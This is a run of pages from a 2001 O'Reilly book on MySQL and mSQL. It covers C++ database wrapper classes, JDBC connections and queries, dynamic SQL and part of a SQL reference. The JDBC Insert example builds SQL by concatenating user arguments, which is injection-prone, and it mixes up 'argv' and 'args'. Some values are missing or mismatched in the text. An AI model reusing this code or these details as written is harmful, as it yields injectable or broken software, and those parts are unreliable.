Like the msqlStoreResult() call, mysql_store_result() is used to place the results generated by a query into storage managed by the application. Unlike the mSQL version, you need to wrapper mysql_store_result() with some exception handling. Specifically, a NULL return value from mysql_store_result() can mean either the call was a nonquery or an error occurred in storing the results. A call to mysql_num_fields() will tell you which is in fact the case. A field count not equal to zero means an error occurred. The number of affected rows, on the other hand, may be determined by a call to mysql_affected_rows() .[21]

[21]One particular situation behaves differently. MySQL is optimized for cases where you delete all records in a table. This optimization incorrectly causes some versions of MySQL to return for a mysql_affected_rows() call.

13.2.1.4. Other Connection behaviors

Throughout the Connection class are calls to two support methods, IsConnected() and GetError() . Testing for connection status is simple -- you just check the value of the connection attribute. It should be non-NULL for MySQL and something other than -1 for mSQL. Error messages, on the other hand, require some explanation.

Retrieving error messages under mSQL is very simple and straightforward. You just use the value of the msqlErrMsg global variable. This value is exactly what our GetError() method returns for mSQL. MySQL, however, is a little more complicated. Being multithreaded, it needs to provide threadsafe access to any error messages. It manages to make error handling work in a multithreaded environment by hiding error messages behind the mysql_error() function. Example 13-1 shows MySQL and mSQL error handling in the GetError() method as well as connection testing in IsConnected().

Example 13-1. Reading Errors and Other Support Tasks of the Connection Class

int Connection::GetAffectedRows() {
    return affected_rows;
}

char *Connection::GetError() {
#if defined(HAS_MSQL)
    return msqlErrMsg;
#elif defined(HAS_MYSQL)
    if( IsConnected() ) {
        return mysql_error(connection);
    }
    else {
        return mysql_error(&mysql);
    }
#else
    #error No database linked.
#endif
}

int Connection::IsConnected() {
#if defined(HAS_MSQL)
    return !(connection < 0);
#elif defined(HAS_MYSQL)
    return !(!connection);
#else
    #error No database linked.
#endif
)

13.2.2. Error Handling Issues

While the error handling above is rather simple because we have encapsulated it into a simple API call in the Connection class, you should be aware of several potential pitfalls you can encounter. First, under mSQL, error handling is global to an application. For applications supporting multiple connections, the value of msqlErrMsg represents the last error from the most recent call to any mSQL API function. More to the point, even though mSQL itself is single threaded, you can write multithreaded applications against it -- but you need to be very careful about how you manage access to error messages. Specifically, you will need to write your own threadsafe API on top of the mSQL C API that copies error messages and associates them with the proper connections.

Both database engines manage the storage of error messages inside their respective APIs. Because you have no control over that storage, you may run into another issue regarding the persistence of error messages. In our C++ API, we are handling the error messages right after they occur -- before the application makes any other database calls. If we wanted to move on with other processing before dealing with an error message, we would need to copy the error message into storage managed by our application.

13.2.3. Result Sets

The Result class is an abstraction on the MySQL and mSQL result concepts. Specifically, should provide access to the data in a result set as well as the meta-data surrounding that result set. According to the object model from Figure 13-1, our Result class will support looping through the rows of a result set and getting the row count of a result set. Example 13-1 is the header file for the Result class.

Example 13-1. The Interface for a Result Class in result.h

#ifndef l_result_h
#define l_result_h

#include <sys/time.h>

#if defined(HAS_MSQL)
#include <msql.h>
#elif defined(HAS_MYSQL)
#include <mysql.h>
#endif

#include "row.h"

class Result {
private:
    int row_count;
    T_RESULT *result;
    Row *current_row;

public:
    Result(T_RESULT *);
    ~Result();

    void Close();
    Row *GetCurrentRow();
    int GetRowCount();
    int Next();
};

#endif // l_result_h

13.2.3.1. Navigating results

Our Result class enables a developer to work through a result set one row at a time. Upon getting a Result instance from a call to Query() , an application should call Next() and GetCurrentRow() in succession until Next() returns 0. Example 13-1 shows how this functionality looks for MySQL and mSQL.

Example 13-1. Result Set Navigation

int Result::Next() {
    T_ROW row;

    if( result == (T_RESULT *)NULL ) {
        throw "Result set closed.";
    }
#if defined(HAS_MSQL)
    row = msqlFetchRow(result);
#elif defined(HAS_MYSQL)
    row = mysql_fetch_row(result);
#else
    #error No database linked.
#endif
    if( !row ) {
        current_row = (Row *)NULL;
        return 0;
    }
    else {
        current_row = new Row(result, row);
        return 1;
    }
}

Row *Result::GetCurrentRow() {
    if( result == (T_RESULT *)NULL ) {
        throw "Result set closed.";
    }
    return current_row;
}

The row.h header file in Example 13-1 defines T_ROW and T_RESULT based on which database engine the application is being compiled for. The functionality for moving to the next row in both databases is identical and simple. You simple call mysql_fetch_row() or msqlFetchRow() . If the call returns NULL, there are no more rows left to process.

In an object-oriented environment, this is the only kind of navigation you should ever use. A database API in an OO world exists only to provide you access to the data -- not as a tool for the manipulation of that data. Manipulation should be encapsulated in domain objects. Not all applications, however, are object-oriented applications. MySQL and mSQL each provides a function that allows you to move to specific rows in the database. These methods are mysql_data_seek() and msqlDataSeek() respectively.

13.2.3.2. Cleaning up and row count

Database applications need to clean up after themselves. In talking about the Connection class, we mentioned how the result sets associated with a query are moved into storage managed by the application. The Close() method in the Result class frees the storage associated with that result. Example 13-1 shows how to clean up results and get a row count for a result set.

Example 13-1. Clean up and Row Count

void Result::Close() {
    if( result == (T_RESULT *)NULL ) {
        return;
    }
#if defined(HAS_MSQL)
    msqlFreeResult(result);
#elif defined(HAS_MYSQL)
    mysql_free_result(result);
#else
    #error No database linked.
#endif
    result = (T_RESULT *)NULL;
}

int Result::GetRowCount() {
    if( result == (T_RESULT *)NULL ) {
        throw "Result set closed.";
    }
    if( row_count > -1 ) {
        return row_count;
    }
    else {
#if defined(HAS_MSQL)
        row_count = msqlNumRows(result);
#elif defined(HAS_MYSQL)
        row_count = mysql_num_rows(result);
#else
        #error No database linked.
#endif
        return row_count;
    }
}

13.2.4. Rows

An individual row from a result set is represented in our object model by the Row class. The Row class enables an application to get at individual fields in a row. Example 13-1 shows the declaration of a Row class.

Example 13-1. The Row Class from row.h

#ifndef l_row_h
#define l_row_h

#include <sys/types.h>

#if defined(HAS_MSQL)
#include <msql.h>
#define T_RESULT m_result
#define T_ROW    m_row
#elif defined(HAS_MYSQL)
#include <mysql.h>
#define T_RESULT MYSQL_RES
#define T_ROW    MYSQL_ROW
#endif

class Row {
private:
    T_RESULT *result;
    T_ROW fields;

public:
    Row(T_RESULT *, T_ROW);
    ~Row();

    char *GetField(int);
    int GetFieldCount();
    int IsClosed();
    void Close();
};

#endif // l_row_h

Both APIs have macros for datatypes representing a result set and a row within that result set. In both APIs, a row is really nothing more than an array of strings containing the data from that row. Access to that data is controlled by indexing on that array based on the query order. For example, if your query was SELECT user_id, password FROM users, then index would contain the user ID and index 1 the password. Our C++ API makes this indexing a little more user friendly. GetField(1) will actually return the first field, or fields[0]. Example 13-2 contains the full source listing for the Row class.

Example 13-2. The Implementation of the Row Class

#include <malloc.h>

#include "row.h"

Row::Row(T_RESULT *res, T_ROW row) {
    fields = row;
    result = res;
}

Row::~Row() {
    if( !IsClosed() ) {
        Close();
    }
}

void Row::Close() {
    if( IsClosed() ) {
        throw "Row closed.";
    }
    fields = (T_ROW)NULL;
    result = (T_RESULT *)NULL;
}

int Row::GetFieldCount() {
    if( IsClosed() ) {
        throw "Row closed.";
    }
#if defined(HAS_MSQL)
    return msqlNumFields(result);
#elif defined(HAS_MYSQL)
    return mysql_num_fields(result);
#else
    #error No database linked.
#endif
}

// Caller should be prepared for a possible NULL
// return value from this method.
char *Row::GetField(int field) {
    if( IsClosed() ) {
        throw "Row closed.";
    }
    if( field < 1 || field > GetFieldCount() ) {
        throw "Field index out of bounds.";
    }
    return fields[field-1];
}

int Row::IsClosed() {
    return (fields == (T_ROW)NULL);
}

An example application using these C++ classes is packaged with the examples from this book.

Previous | Home | Next
13. C and C++ | Book Index | 14. Java and JDBC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java and JDBC (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 14. Java and JDBC

Contents:

What Is JDBC?
Simple Database Access
Dynamic Database Access
A Guest Book Servlet

In Chapter 13, "C and C++", we introduced you to the C APIs for MySQL and mSQL. Unfortunately, each API only enables you to program for the database it supports. If you are looking to port an application between MySQL and mSQL, or even worse, if you are looking to make an application work on Oracle or Sybase or any other database engine, you must rewrite your database code to make use of that database engine's proprietary API. Java programmers, however, are mostly freed from database portability issues. They have a single API, the Java DataBase Connectivity API (JDBC), that provides them with a unified interface into all SQL databases.

Because JDBC is a single interface to all databases, you need only to learn it in order to be able to write applications that run on both MySQL and mSQL. In fact, as long as you write proper JDBC code, the Java applications you write will be able to run against any database engine. If you have access to a database other than MySQL or mSQL, you should give this claim a test by running this chapter's examples on that database.

In this chapter, we are assuming a basic understanding of the Java programming language and Java concepts. If you do not already have this background, we strongly recommend taking a look at Exploring Java (O'Reilly & Associates, Inc.). For more details on how to build the sort of three-tier database applications we discussed in Chapter 8, "Database Application Architectures", take a look at Database Programming with JDBC and Java (O'Reilly & Associates, Inc.).

14.1. What Is JDBC?

Like all Java APIs, JDBC is a set of classes and interfaces that work together to support a specific set of functionality. In the case of JDBC, this functionality is naturally database access. The classes and interfaces that make up the JDBC API are thus abstractions from concepts common to database access for any kind of database. A Connection , for example, is a Java interface representing a database connection. Similarly, a ResultSet represents a result set of data returned from a SQL SELECT statement. Java puts the classes that form the JDBC API together in the java.sql package which Sun introduced in JDK 1.1.

The details of database access naturally differ from vendor to vendor. JDBC does not actually deal with those details. Most of the classes in the java.sql package are in fact interfaces -- and thus no implementation details. Individual database vendors provide implementations of these interfaces in the form of something called a JDBC driver. As a database programmer, however, you need to know only a few details about the driver you are using -- the rest you manage via the JDBC interfaces. The vendor specific information you need in order to use JDBC includes:

  • The JDBC URL for the driver

  • The name of the class that implements java.sql.Driver

NOTE

The new JDBC 2.0 specification adds an optional standard extension API for vendors to implement. If your JDBC vendor implements this standard extension, you do not even need to know the JDBC URL or Driver class implementation. It prescribes a DataSource class that you can look up by a configurable name in a JNDI[22]-supported directory.

[22]JNDI is the Java Naming and Directory Interface API. It lets you store Java objects in a naming and directory service like an Lightweight Directory Access Protocol (LDAP) server and then look them up by name.

Both of these items can be supplied at runtime, either on the command line or in a properties file. Your code never needs to mention these two implementation-dependent pieces. We will cover what the JDBC URL and Driver class do in a few paragraphs when we cover database connections. Figure 14-1 diagrams the interfaces of JDBC.

Figure 14-1. The classes and interfaces of the JDBC API

14.1.1. The Database Connection

Your first step is to connect to the database. One of the few implementation classes in the java.sql.package is the DriverManager class. It maintains a list of JDBC implementations and provides you with database connections based on JDBC URLs you provide it. A JDBC URL comes in the form of jdbc:protocol:subprotocol. It tells a DriverManager which database engine you wish to connect to and it provides the DriverManager with enough information to make a connection.

NOTE

JDBC uses the word "driver" in multiple contexts. In the lower-case sense, a JDBC driver is the collection of classes that together implement all of the JDBC interfaces and provide an application with access to at least one database. In the upper-case sense, the Driver is the class that implements java.sql.Driver. Finally, JDBC provides a DriverManager that can be used to keep track of all of the different Driver implementations.

The protocol part of the URL refers to a given JDBC driver. In the case of MySQL and mSQL, the protocol is mysql and msql, respectively. The subprotocol provides the implementation-specific connection data. Both MySQL and mSQL require a host name and database name in order to make a connection. Optionally, they may require a port if your database engine is not running as root. The full mSQL URL therefore looks like: jdbc:msql://athens.imaginary.com:1114/test. It says that the DriverManager should find the mSQL JDBC driver and connect to the database test at athens.imaginary.com on port 1114. All of this is done via a single call to the DriverManager getConnection() method. Example 14-1 shows how to make a connection to an mSQL database.

Example 14-1. A Code Snippet from the Examples that Come with the Imaginary JDBC Driver for mSQL Showing How to Make a Connection

import java.sql.*;

public class Connect {
    public static void main(String argv[]) {
        Connection con = null;

        try {
            // here is the JDBC URL for this database
            String url = "jdbc:msql://athens.imaginary.com:1114/db_test";
            // more on what the Statement and ResultSet classes do later
            Statement stmt;
            ResultSet rs;

            // either pass this as a property, i.e.
            // -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver
            // or load it here like we are doing in this example
            Class.forName("com.imaginary.sql.msql.MsqlDriver");
            // here is where the connection is made
            con = DriverManager.getConnection(url, "borg", "");
        }
        catch( SQLException e ) {
            e.printStackTrace();
        }
        finally {
            if( con != null ) {
                try { con.close(); }
                catch( Exception e ) { }
            }
        }
    }
}

The line con = DriverManager.getConnection(url, "borg", "") makes the database connection in this example. In this case, the JDBC URL and Driver implementation class names are actually hard coded into this application. The only reason this is acceptable is because this application is a demo for the mSQL-JDBC driver. For a serious application, you would want to load this information from a properties file, pass it as command line arguments, or pass it as system properties. The Driver implementation will automatically be loaded if you pass it as the system property jdbc.drivers -- in other words, you do not have to call Class.forName().newInstance(driver_name) when you pass the driver name as the jdbc.drivers system property. The second and third arguments to getConnection() are the user ID and password to use for the connection. Because mSQL does not use passwords for user authentication, this example just uses an empty string. In MySQL, however, you will need to provide a password.[23]

[23]MySQL actually has several JDBC drivers. At least one of them allows you to specify the user ID and password as part of the URL.

14.1.2. Maintaining Portability Using Properties Files

Though our focus is on two specific databases, it is good Java programming practice to make your applications completely portable. To most people, portability means that you do not write code that will run on only one platform. In the Java world, however, the word "portable" is a much stronger term. It means no hardware resource dependencies, and that means no database dependencies.

We discussed how the JDBC URL and Driver name are implementation dependent, but we did not discuss how to avoid hard coding them. Because both are simple strings, you can pass them on the command line as runtime arguments or as parameters to applets. While that solution works, it is hardly elegant since it requires command line users to remember long command lines. A similar solution might be to prompt the user for this information; but again, you are requiring that the user remember a JDBC URL and a Java class name each time they run an application.

A more elegant solution than either of the above solutions would be to use a properties file. Properties files are supported by the java.util.ResourceBundle and its subclasses to enable an application to extract runtime specific information from a text file. For a JDBC application, you can stick the URL and Driver name in the properties file, leaving the details of the connectivity up to an application administrator. Example 14-1 shows a properties file that provides connection information.

Example 14-1. The SelectResource.properties File with Connection Details for a Connection

Driver=com.imaginary.sql.msql.MsqlDriver
URL=jdbc:msql://athens.imaginary.com:1114/db_test

Example 14-2 shows the portable Select class.

Example 14-2. Specific Information

import java.sql.*;
import java.util.*;

public class Connect {
    public static void main(String argv[]) {
        Connection con = null;
        ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

        try {
            String url = bundle.getString("URL");
            Statement stmt;
            ResultSet rs;

             Class.forName(bundle.getString("Driver"));
            // here is where the connection is made
            con = DriverManager.getConnection(url, "borg", "");
        }
        catch( SQLException e ) {
            e.printStackTrace();
        }
        finally {
            if( con != null ) {
                try { con.close(); }
                catch( Exception e ) { }
            }
        }
    }
}

We have gotten rid of anything specific to mSQL in the sample connection code. One important issue still faces portable JDBC developers -- one that stings mSQL developers in particular. JDBC requires any driver to support SQL2 entry level. This is an ANSI standard for minimum SQL support. As long as you use SQL2 entry level SQL in your JDBC calls, your application will be 100% portable to other database engines. Unfortunately, while MySQL is SQL2 entry level, mSQL is not. Applications you write for mSQL will very likely port to other databases without issue, but applications written to use the full range of SQL92 entry level will not port back to mSQL without pain.

Previous | Home | Next
13.2. Object-oriented Database Access in C++ | Book Index | 14.2. Simple Database Access
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Simple Database Access (MySQL & mSQL)

 MySQL and mSQLSearch this book

14.2. Simple Database Access

The Connect example did not do much. It simply showed you how to connect to a database. A database connection is useless unless you actually talk to the database. The simplest forms of database access are SELECT, INSERT, UPDATE, and DELETE statements. Under the JDBC API, you use your database Connection instance to create Statement instances. A Statement naturally represents any kind of SQL statement. Example 14-1 shows how to insert a row into a database using a Statement.

Example 14-1. Inserting a Row into mSQL Using a JDBC Statement Object

import java.sql.*;
import java.util.*;

public class Insert {
    // We are inserting into a table that has two columns: test_id (int)
    // and test_val (char(55))
    // args[0] is the test_id and args[1] the test_val
    public static void main(String argv[]) {
        Connection con = null;
        ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

        try {
            String url = bundle.getString("URL");
            Statement stmt;

            Class.forName(bundle.getString("Driver"));
            // here is where the connection is made
            con = DriverManager.getConnection(url, "borg", "");
            stmt = con.createStatement();
            stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +
                               "VALUES(" + args[0] + ", '" + args[1] + "')");
        }
        catch( SQLException e ) {
            e.printStackTrace();
        }
        finally {
            if( con != null ) {
                try { con.close(); }
                catch( Exception e ) { }
            }
        }
    }
}

If this were a real application, we would of course verified that the user entered an INT for the test_id, that it was not a duplicate key, and that the test_val entry did not exceed 55 characters. This example nevertheless shows how simple performing an insert is. The createStatement() method does just what it says: it creates an empty SQL statement associated with the Connection in question. The executeUpdate() method then passes the specified SQL on to the database for execution. As its name implies, executeUpdate() expects SQL that will be modifying the database in some way. You can use it to insert new rows as shown earlier, or instead to delete rows, update rows, create new tables, or do any other sort of database modification.

Queries are a bit more complicated than updates because queries return information from the database in the form of a ResultSet. A ResultSet is an interface that represents zero or more rows matching a database query. A JDBC Statement has an executeQuery() method that works like the executeUpdate() method -- except it returns a ResultSet from the database. Exactly one ResultSet is returned by executeQuery(), however, you should be aware that JDBC supports the retrieval of multiple result sets for databases that support multiple result sets. Neither MySQL or mSQL support multiple result sets. It is nevertheless important for you to be aware of this issue in case you are ever looking at someone else's code written against another database engine. Example 14-2 shows a simple query. Figure 14-1 shows the data model behind the test table.

Example 14-2. A Simple Query

import java.sql.*;
import java.util.*;

public class Select {
    public static void main(String argv[]) {
        Connection con = null;
        ResourceBundle bundle =
              ResourceBundle.getBundle("SelectResource");

        try {
            String url = bundle.getString("URL");
            Statement stmt;
            ResultSet rs;

             Class.forName(bundle.getString("Driver"));
            // here is where the connection is made
            con = DriverManager.getConnection(url, "borg", "");
            stmt = con.createStatement();
            rs = stmt.executeQuery("SELECT * from test ORDER BY test_id");
            System.out.println("Got results:");
            while(rs.next()) {
                int a= rs.getInt("test_id");
                String str = rs.getString("test_val");

                System.out.print(" key= " + a);
                System.out.print(" str= " + str);
                System.out.print("\n");
            }
            stmt.close();
        }
        catch( SQLException e ) {
            e.printStackTrace();
        }
        finally {
            if( con != null ) {
                try { con.close(); }
                catch( Exception e ) { }
            }
        }
    }
}

Figure 14-1. The test table from the sample database

The Select application executes the query and then loops through each row in the ResultSet using the next() method. Until the first call to next(), the ResultSet does not point to any row. Each call to next() points the ResultSet to the subsequent row. JDBC 2.0 introduces the concept of a scrollable result set. If your ResultSet instance is set to be scrollable, you can also make calls to previous() to navigate backwards through the results. You are done processing rows when next() returns false.

Dealing with a row means getting the values for each of its columns. Whatever the value in the database, you can use the getter methods in the ResultSet to retrieve the column value as whatever Java datatype you like. In the Select application, the call to getInt() returned the test_id column as an int and the call to getString() returned the test_val column as a String. These getter methods accept either the column number -- starting with column 1 -- or the column name. You should, however, avoid retrieving values using a column name at all costs since retrieving results by column name is many, many times slower than retrieving them by column number.

14.2.1. Error Handling and Clean Up

All JDBC method calls can throw SQLException or one of its subclasses if something happens during a database call. Your code should be set up to catch this exception, deal with it, and clean up any database resources that have been allocated. Each of the JDBC classes mentioned so far has a close() method associated with it. Practically speaking, however, you only really need to make sure you close things whose calling process might remain open for a while. In the examples we have seen so far, you only really need to close your database connections. Closing the database connection closes any statements and result sets associated with it automatically. If you intend to leave a connection open for any period of time, however, it is a good idea to go ahead and close the statements you create using that connection when you finish with them. In the JDBC examples you have seen, this clean up happens in a finally clause. You do this since you want to make sure to close the database connection no matter what happens.

Previous | Home | Next
14. Java and JDBC | Book Index | 14.3. Dynamic Database Access
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Dynamic Database Access (MySQL & mSQL)

 MySQL and mSQLSearch this book

14.3. Dynamic Database Access

So far we have dealt with applications where you know exactly what needs to be done at compile time. If this were the only kind of database support that JDBC provided, no one could ever write tools like the mysql and msql interactive command line tools that determine SQL calls at runtime and execute them. The JDBC Statement class provides the execute() method for executing SQL that may be either a query or an update. Additionally, ResultSet instances provide runtime information about themselves in the form of an interface called ResultSetMetaData which you can access via the getMetaData() call in the ResultSet.

14.3.1. Meta Data

The term meta data sounds officious, but it is really nothing other than extra data about some object that would otherwise waste resources if it were actually kept in the object. For example, simple applications do not need the name of the columns associated with a ResultSet -- the programmer probably knew that when the code was written. Embedding this extra information in the ResultSet class is thus not considered by JDBC's designers to be core to the functionality of a ResultSet. Data such as the column names, however, is very important to some database programmers -- especially those writing dynamic database access. The JDBC designers provide access to this extra information -- the meta data -- via the ResultSetMetaData interface. This class specifically provides:

  • The number of columns in a result set

  • Whether NULL is a valid value for a column

  • The label to use for a column header

  • The name for a given column

  • The source table for a given column

  • The datatype of a given column

Another example class that comes with the mSQL-JDBC driver is the Exec application. It will accept any SQL you specify on a command line and execute it. Example 14-1 shows that source code.

Example 14-1. The Source to the Exec Application for Executing Dynamic SQL

import java.sql.*;

public class Exec {
    public static void main(String args[]) {
        Connection con = null;
        String sql = "";

        for(int i=0; i<args.length; i++) {
            sql = sql + args[i];
            if( i < args.length - 1 ) {
                sql = sql + " ";
            }
        }
        System.out.println("Executing: " + sql);
        try {
            Class.forName("com.imaginary.sql.msql.MsqlDriver").newInstance();
            String url = "jdbc:msql://athens.imaginary.com:1114/db_test";
            con = DriverManager.getConnection(url, "borg", "");
            Statement s = con.createStatement();

            if( s.execute(sql) ) {
                ResultSet r = s.getResultSet();
                ResultSetMetaData meta = r.getMetaData();
                int cols = meta.getColumnCount();
                int rownum = 0;

                while( r.next() ) {
                    rownum++;
                    System.out.println("Row: " + rownum);
                    for(int i=0; i<cols; i++) {
                        System.out.print(meta.getColumnLabel(i+1) + ": "
                                         + r.getObject(i+1) +  ", ");
                    }
                    System.out.println("");
                }
            }
            else {
                System.out.println(s.getUpdateCount() + " rows affected.");
            }
            s.close();
            con.close();
        }
        catch( Exception e ) {
            e.printStackTrace();
        }
        finally {
            if( con != null ) {
                try { con.close(); }
                catch( SQLException e ) { }
            }
        }
    }
}

Each result set provides a ResultSetMetaData instance via the getMetaData() method. In the case of dynamic database access, we need to find out the how many columns are in a result set so that we are certain to retrieve each column as well as the names of each of the columns for display to the user. The meta data for our result set provides all of this information via the getColumnCount() and getColumnLabel() methods.

14.3.2. Processing Dynamic SQL

The concept introduced in Example 14-1 is the dynamic SQL call. Because we do not know whether we will be processing a query or an update, we need to pass the SQL call through the execute() method. This method returns true if the statement returned a result set or false if none was produced. In the example, if it returns true, the application gets the returned ResultSet through a call to getResultSet() . The application can then go on to do normal result set processing. If, on the other hand, the statement performed some sort of database modification, you can call getUpdateCount() to find out how many rows were modified by the statement.

Previous | Home | Next
14.2. Simple Database Access | Book Index | 14.4. A Guest Book Servlet
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Guest Book Servlet (MySQL & mSQL)

 MySQL and mSQLSearch this book

14.4. A Guest Book Servlet

You have probably heard quite a bit of talk about Java applets. We discussed in Chapter 8, "Database Application Architectures", however, how doing database access in the client is a really bad idea. We have packaged with the examples in this book an example that contains a real application that uses the JDBC knowledge we have discussed in this chapter to create a server-side Java class known as a servlet. While servlets are not in themselves part of the three-tier solution we discussed in Chapter 8, "Database Application Architectures", this example should provide a useful example of how JDBC can be used. The servlet in question is a web page that lets people visiting your site enter comments about it. Others can then view these comments. For this example, all you need to know about servlets is that the doPost() method handles HTTP POST events and doGet() handles HTTP GET events.

There are two pieces to this servlet: the get and the post. In both pieces, a call is made to printComments() to show the comments in the guest book. In this method, we encounter something we have not yet seen in the previous simple examples, a call to wasNull() after each column value is retrieved. As its name implies, wasNull() returns true if the last value fetched was SQL NULL. For calls returning a Java object, the value will generally be NULL when a SQL NULL is read from the database. In these instances, wasNull() may appear somewhat redundant. For primitive datatypes, however, a valid value may be returned on a fetch. The wasNull() method gives you a way to see if that value was NULL in the database. For example, a NULL for an integer column will return when you call getInt(). In order to know whether or not the column held or NULL, you must call wasNull().

Previous | Home | Next
14.3. Dynamic Database Access | Book Index | III. Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 15. SQL Reference

Contents:

MySQL SQL
mSQL SQL

15.1. MySQL SQL

ALTER/MODIFY
ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause
ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)
ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)
ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value
ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT
ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create_clause
ALTER [IGNORE] TABLE table DROP [COLUMN] column
ALTER [IGNORE] TABLE table DROP FOREIGN KEY key
ALTER [IGNORE] TABLE table DROP INDEX key
ALTER [IGNORE] TABLE table DROP PRIMARY KEY
ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause
ALTER [IGNORE] TABLE> table RENAME [AS] new_name

The ALTER statement covers a wide range of actions that modify the structure of a table. This statement is used to add, change, or remove columns from an existing table as well as to remove indexes. Multiple ALTER statements may be combined into one using commas as in the following example:

ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

To perform modifications on the table, MySQL creates a copy of the table and changes it, meanwhile queuing all table altering queries. When the change is done, the old table is removed and the new table put it its place. At this point the queued queries are performed. As a safety precaution, if any of the queued queries create duplicate keys that should be unique, the ALTER statement is rolled back and cancelled. If the IGNORE keyword is present in the statement, duplicate unique keys are ignored and the ALTER statement proceeds as if normal. Be warned that using IGNORE on an active table with unique keys is inviting table corruption.

As mentioned earlier, there are several different, often orthogonal, actions performed by ALTER:

ADD [COLUMN] create_clause

Inserts a new column into the table. The create_clause is of the same type as used by the CREATE statement (see later). The table must already exist and must not have a column with the same name as the new one. (The COLUMN keyword is optional and has no effect.)

ADD INDEX [name] (column, ...)

Creates an index out of the given columns. Up to 15 columns may be combined in an index. Naming an index is optional. If no name is given, the index will be named after the first column listed (with a numerical suffix _2, _3, etc., for uniqueness if necessary).

ADD UNIQUE [name] (column, ...)

Is identical to ADD INDEX except that the values of the indexed columns are guaranteed to be unique. That is, if a user attempts to add a value that already exists to a unique index, an error will be returned.

ALTER [COLUMN] column SET DEFAULT value
ALTER [COLUMN] column DROP DEFAULT

Creates, modifies or deletes the default value of a column. When the SET DEFAULT phrase is used, the default value of the column is set to the new value (even if no default previously existed). When DROP DEFAULT is used, any existing default value is removed. If the default is dropped, any existing rows that were created with the default value are left untouched. (The COLUMN keyword is optional and has no effect.)

CHANGE [COLUMN] new_column_name create_clause
MODIFY [COLUMN] create_clause

Alters the definition of a column. This statement is used to change a column from one type to a different type while affecting the data as little as possible. The create clause is a full clause as specified in the CREATE statement. This includes the name of the column. Because of this, you change the name of the column using this statement. (For example, ALTER TABLE mytable CHANGE name newname CHAR(30) ). The MODIFY version is the same as CHANGE if the new column has the same name as the old. The COLUMN keyword is optional and has no effect. The following conversions are done automatically:

  • Integer to Floating Point, and vice versa (e.g., BIGINT to DOUBLE).

  • Smaller numerical value to larger numerical value (e.g., INTEGER to BIGINT).

  • Larger numerical value to smaller numerical value (e.g., DOUBLE to FLOAT). If a value is beyond the limits of the new type, the highest (or greatest negative) possible value of the new type is used instead.

  • Numerical to character (e.g., SMALLINT to CHAR(5)).

  • Character to numerical (e.g., VARCHAR to MEDIUMINT). Either integer or floating point conversion is performed upon the text (whichever is appropriate for the new type).

  • Smaller character to larger character (e.g., BLOB to LONGTEXT).

  • Larger character to smaller character (e.g., TEXT to VARCHAR(255)). If a value is longer than the limits of the new type, the text is truncated to fit the new type.

  • Even for conversions that are not mentioned here (e.g., TIMESTAMP to YEAR), MySQL will try its best to perform a reasonable conversion. Under no circumstance will MySQL give up and return an error when using this statement; a conversion of some sort will always be done. With this in mind you should (1) make a backup of the data before the conversion and (2) immediately check the new values to see if they are reasonable.

DROP [COLUMN] column

Deletes a column from a table. This statement will remove a column and all of its data from a table permanently. There is no way to recover data destroyed in this manner other than from backups. All references to this column in indices will be removed. Any indices where this was the sole column will be destroyed as well. (The COLUMN keyword is optional and has no effect.)

DROP INDEX key

Removes an index from a table. This statement will completely erase an index from a table. This statement will not delete or alter any of the table data itself, only the index data. Therefore, an index removed in this manner can be recreated using the ALTER TABLE ... ADD INDEX statement.

DROP PRIMARY KEY

Identical to DROP INDEX except that it looks for the special index known as the Primary Key. If no Primary Key is found in the table, the first unique key is deleted.

RENAME [AS] new_table

Changes the name of the table. This operation does not affect any of the data or indices within the table, only the table's name. If this statement is performed alone, without any other ALTER TABLE clauses, MySQL will not create a temporary table as with the other clauses, but simply perform a fast Unix-level rename of the table files.

The FOREIGN KEY operation is currently not implemented in MySQL. While the syntax is there, attempting an action on a FOREIGN KEY will do nothing.

To perform any of the ALTER TABLE actions, you must have SELECT, INSERT, DELETE, UPDATE, CREATE, and DROP privileges for the table in question.

Examples

# Add the field 'address2' to the table 'people' and make it of type 'VARCHAR'
# with a maximum length of 200.
ALTER TABLE people ADD COLUMN address2 VARCHAR(100)
# Add two new indexes to the 'hr' table, one regular index for the 'salary'
# field and one unique index for the 'id' field. Also, continue operation if
# duplicate values are found while creating the 'id_idx' index (very dangerous!).
ALTER TABLE hr ADD INDEX salary_idx ( salary )
ALTER IGNORE TABLE hr ADD UNIQUE id_idx ( id )
# Change the default value of the 'price' field in the 'sprockets' table to
# $19.95.
ALTER TABLE sprockets ALTER price SET DEFAULT '$19.95'
# Remove the default value of the 'middle_name' field in the 'names' table.
ALTER TABLE names ALTER middle_name DROP DEFAULT
# Change the type of the field 'profits' from its previous value (which was
# perhaps INTEGER) to BIGINT.
ALTER TABLE finanaces CHANGE COLUMN profits profits BIGINT
# Remove the 'secret_stuff' field from the table 'not_private_anymore'
ALTER TABLE not_private_anymore DROP secret_stuff
# Delete the named index 'id_index' as well as the primary key from the
# table 'cars'.
ALTER TABLE cars DROP INDEX id_index, DROP PRIMARY KEY
# Rename the table 'rates_current' to 'rates_1997'
ALTER TABLE rates_current RENAME AS rates_1997
CREATE

CREATE DATABASE dbname
CREATE TABLE name (field_namefield_type, ... )
CREATE INDEX name ONtable ( column, ... )

CREATE FUNCTIONname RETURNSvalues SONAMElibrary

Creates new database elements (or entirely new databases). This statement is used to create databases, tables, and user defined functions (UDFs).

The CREATE INDEX statement is provided for compatibility with other implementations of SQL. In older versions of SQL this statement does nothing. As of 3.22, this statement is equivalent to the ALTER TABLE ADD INDEX statement. To perform the CREATE INDEX statement, you must have INDEX privileges for the table in question.

